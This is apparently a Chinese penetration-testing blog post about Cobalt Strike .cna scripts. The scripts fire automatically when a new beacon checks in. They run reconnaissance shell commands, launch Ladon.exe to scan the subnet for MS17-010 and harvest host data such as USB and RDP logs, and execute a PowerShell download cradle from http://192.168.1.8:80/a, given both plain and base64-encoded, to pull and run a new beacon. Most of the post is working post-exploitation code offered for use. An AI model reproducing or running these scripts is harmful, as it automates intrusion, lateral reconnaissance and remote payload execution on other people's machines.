CS魔改拓展之.CNA

执行CMD

bshell($1,"whoami");

执行多条CMD可用&符号连接

bshell($1,"whoami&net user&tasklist");

也可以写多行bshell代码

bshell($1,"whoami");
bshell($1,"net user");
bshell($1,"ipconfig")

来自K8的自动化Demo

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}

以上代码保存为auto.cna文件,
工具栏–Cobalt Strike–Script Mannge–点击Load加载auto.cna

渗透测试-CNA_Bshell程序_转义


自动执行我们预设的命令net user

渗透测试-CNA_Bshell程序_.net_02


执行Ladon

bexecute_assembly!($1, script_resource("Ladon.exe"),"MS17010");

Ladon可自动获取
当前机器所有网卡IP,
并扫描C段机器是否存在MS17010漏洞,
实现自动信息获取、漏洞扫描等 。

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}

# 执行复杂命令
对于Ladon未支持的功能,可能需复杂的多语句命令完成,
命令中的双引号以及其它特殊字符CS转义比较麻烦,
加上现在XP、2003系统几乎淘汰,主流基本都是WIN7以上系统,
所以推荐大家使用PowerShell比较省事。
以CS自动更新或转移权限为例,以下是CS的一行代码上线命令

powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.8:80/a'))""

使用LadonGui–PowerShell的Base64Command
将要执行的命令转成base64Command,这样可完美解决CNA脚本解析符号或转义问题。

CS自动更新脚本

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
bshell($1,"powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AOAA6ADgAMAAvAGEAMQAxACcAKQApACIA");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}

目标机器上线时,将执行转换好的powershell代码,自动完成权限转移

渗透测试-CNA_Bshell程序_.net_03

 #Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
bexecute_assembly!($1, script_resource("Ladon.exe"),"onlinepc");
bexecute_assembly!($1, script_resource("Ladon.exe"),"ms17010");
bexecute_assembly!($1, script_resource("Ladon.exe"),"smbinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"wmiinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"snmpscan");
bexecute_assembly!($1, script_resource("Ladon.exe"),"webscan");
bexecute_assembly!($1, script_resource("Ladon.exe"),"getinfo");
bexecute_assembly!($1, script_resource("Ladon.exe"),"cmdline");
bexecute_assembly!($1, script_resource("Ladon.exe"),"usblog");
bexecute_assembly!($1, script_resource("Ladon.exe"),"rdplog");
bexecute_assembly!($1, script_resource("Ladon.exe"),"getid");
bexecute_assembly!($1, script_resource("Ladon.exe"),"recent");
bexecute_assembly!($1, script_resource("Ladon.exe"),"netver");
bexecute_assembly!($1, script_resource("Ladon.exe"),"allver");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}

CS联运Ladon收集信息脚本

渗透测试-CNA_Bshell程序_自动更新_04

getinfo模块会自动收集以下信息,所以无需bshell添加一堆命令,
当然截图只能截到一部分,有些功能如usblog、.net版本、最近使用文件recent等非cmd命令获取的信息也在该模块里,

如截图部分的获取CPUID、硬盘ID等非cmd命令获取,getinfo能获取的信息,并不全是系统自带CMD,有些信息自带的格式错乱,或者获取不到更详细参数。

GetInfo2模块比getinfo多了以下功能,

渗透测试-CNA_Bshell程序_安全_05

因为考虑到在少量机器上wmi执行有问题会导致卡死,所以为了兼容所有C2默认getinfo不获取该wmi相关信息